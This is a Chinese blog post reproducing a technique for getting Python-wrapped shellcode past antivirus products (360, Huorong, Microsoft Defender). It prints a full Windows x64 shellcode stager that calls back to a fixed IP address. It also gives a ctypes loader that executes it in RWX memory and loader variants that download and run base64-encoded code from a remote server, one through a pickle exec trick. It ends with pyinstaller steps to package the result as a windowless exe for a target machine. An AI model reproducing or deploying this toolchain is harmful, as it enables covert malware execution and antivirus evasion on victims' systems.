使用python3免杀shellcode(复现过程)

复现自:https://forum.90sec.com/t/topic/1587(原文有部分代码有误且描述并不是很清楚,因此复现后进行记录并以备后续及他人使用)

0x00 原理:(别的文章看来的)

shellcode和加载器(pyminifier混淆后)经base64编码后,放远程服务器备用。
然后远程下载两次,即可成功绕过360全家桶、火绒、微软专业版以及教育版。
 

0x01 测试代码

0、原始的python的shellcode加载器(可无视)

import ctypes
# length: 894 bytes
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4d\x35\x6a\x71\x00\xe7\x97\x6e\x40\xf4\xda\x6e\x39\x6a\x0a\x61\x9c\xde\x21\x5f\xfa\x32\x90\xe2\x12\xd7\x7a\xd2\xa0\xa1\x4a\xea\xab\xd8\xa2\x7e\x65\x73\x88\x25\xa6\x86\x71\x4e\x8b\x98\x0f\x89\x0a\x95\xf4\x42\xac\x0b\x49\xcd\x3f\x98\xb7\x02\xc3\xb9\x7b\x87\xbb\x7a\x59\xe3\x89\x3c\xa5\xb2\xed\xb9\x38\xbe\x08\x07\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x22\x5e\x5e\xca\xad\x13\x02\xd0\xd1\xc6\xda\x7e\xf7\x35\x66\xd9\x2c\xac\x7c\x11\xe5\x01\x86\x32\x65\x9c\xeb\x24\x3c\x6e\x03\x35\x19\xfa\x4e\x62\x59\xef\xd1\x0f\xd3\x43\xde\xba\xf4\x5e\x1b\x7d\x51\x99\xfa\x5a\x9c\x91\xb5\x9b\xf6\x05\xab\x03\xc8\x01\x56\x36\x19\x9c\x94\x6f\x09\xc4\x5b\xdf\x34\xa7\x04\x7f\x94\xc2\xd6\x1d\xac\x03\x53\x4d\x9d\x86\x01\x4e\xbf\xe3\xba\x89\xf6\x28\xa6\xa8\x74\x64\x73\x59\x2b\x66\x37\xdd\x96\xb0\x0e\xac\x07\x78\x4f\xd3\xaa\xcc\xb2\x75\xc7\x87\x45\x91\xe2\xa5\x50\xe9\xe3\x70\x86\x55\x17\x11\x2f\x7a\xc7\x27\x93\x24\xa0\xbd\xc7\xe2\xcf\x85\x2e\xe5\xde\x7f\xdc\xba\x6e\xd6\x09\x07\x7c\xed\x74\x5e\xc0\x94\xcc\x71\xd1\xea\x83\xd6\x7d\xc6\xe4\x97\xfd\xb1\xee\xf6\xd3\x37\x81\x1b\x03\x3a\xd9\x62\xdc\x77\x59\x1f\xbb\x31\x3f\x7a\xd7\xd7\x54\x2f\xc8\xbc\xd0\xf7\x6a\xe9\xaa\x1c\xe2\xe0\x9f\x35\x94\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x39\x35\x2e\x31\x34\x30\x00\x12\x34\x56\x78"

shellcode = buf
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
 
-------------------------正式用到的---------------------------

1、shellcode和加载器(用前更改后进行base64放于服务器)

测试shellcode(python):

\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4d\x35\x6a\x71\x00\xe7\x97\x6e\x40\xf4\xda\x6e\x39\x6a\x0a\x61\x9c\xde\x21\x5f\xfa\x32\x90\xe2\x12\xd7\x7a\xd2\xa0\xa1\x4a\xea\xab\xd8\xa2\x7e\x65\x73\x88\x25\xa6\x86\x71\x4e\x8b\x98\x0f\x89\x0a\x95\xf4\x42\xac\x0b\x49\xcd\x3f\x98\xb7\x02\xc3\xb9\x7b\x87\xbb\x7a\x59\xe3\x89\x3c\xa5\xb2\xed\xb9\x38\xbe\x08\x07\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x22\x5e\x5e\xca\xad\x13\x02\xd0\xd1\xc6\xda\x7e\xf7\x35\x66\xd9\x2c\xac\x7c\x11\xe5\x01\x86\x32\x65\x9c\xeb\x24\x3c\x6e\x03\x35\x19\xfa\x4e\x62\x59\xef\xd1\x0f\xd3\x43\xde\xba\xf4\x5e\x1b\x7d\x51\x99\xfa\x5a\x9c\x91\xb5\x9b\xf6\x05\xab\x03\xc8\x01\x56\x36\x19\x9c\x94\x6f\x09\xc4\x5b\xdf\x34\xa7\x04\x7f\x94\xc2\xd6\x1d\xac\x03\x53\x4d\x9d\x86\x01\x4e\xbf\xe3\xba\x89\xf6\x28\xa6\xa8\x74\x64\x73\x59\x2b\x66\x37\xdd\x96\xb0\x0e\xac\x07\x78\x4f\xd3\xaa\xcc\xb2\x75\xc7\x87\x45\x91\xe2\xa5\x50\xe9\xe3\x70\x86\x55\x17\x11\x2f\x7a\xc7\x27\x93\x24\xa0\xbd\xc7\xe2\xcf\x85\x2e\xe5\xde\x7f\xdc\xba\x6e\xd6\x09\x07\x7c\xed\x74\x5e\xc0\x94\xcc\x71\xd1\xea\x83\xd6\x7d\xc6\xe4\x97\xfd\xb1\xee\xf6\xd3\x37\x81\x1b\x03\x3a\xd9\x62\xdc\x77\x59\x1f\xbb\x31\x3f\x7a\xd7\xd7\x54\x2f\xc8\xbc\xd0\xf7\x6a\xe9\xaa\x1c\xe2\xe0\x9f\x35\x94\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x39\x35\x2e\x31\x34\x30\x00\x12\x34\x56\x78

加载器:

import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.195.140:19000/shellcode.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)

shellcode =codecs.escape_decode(shellcode)[0]

shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

2、要生成为exe的脚本(最终在靶机上执行的exe文件)

(使用pyinstaller打包)
main.py
import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://192.168.195.140:19000/loader.txt').read()
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
    def __reduce__(self):
        return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)

打包:(-w选项去掉运行时的dos黑窗口)

pyinstaller -F -w main.py
 

0x02 测试过程

1、生成shellcode

生成python版shellcode并将string的内容进行base64
将双引号中的shellcode内容拿到网站或自己加密后放在服务器上
 

2、加载器

    加载器更改内容:只需更改为服务器url,然后把loader.txt内容进行base64。确保靶机可访问到->服务器(vps)shellcode.txt和loader.txt资源
   
  
  

3、更改并生成exe

    将main.py中的url同理改为服务器地址,然后使用pyinstaller打包成exe
   
    会生成在当前目录下的dist中
   
 

4、生成的exe到靶机执行

    双击执行(webshell执行:直接对应目录路径+main.exe回车)
   
   

5、效果

   
   
 

0x03 总结

   通过这段代码联动通过两次加载,先加载简单初始加载器,然后加载器再请求shellcode
   
 

0x04 后续

    大佬说后续shellcode可分段,改流量,或使用其他加密混淆方式
posted @ 2021-07-15 10:59  One9t  阅读(1854)  评论(1编辑  收藏  举报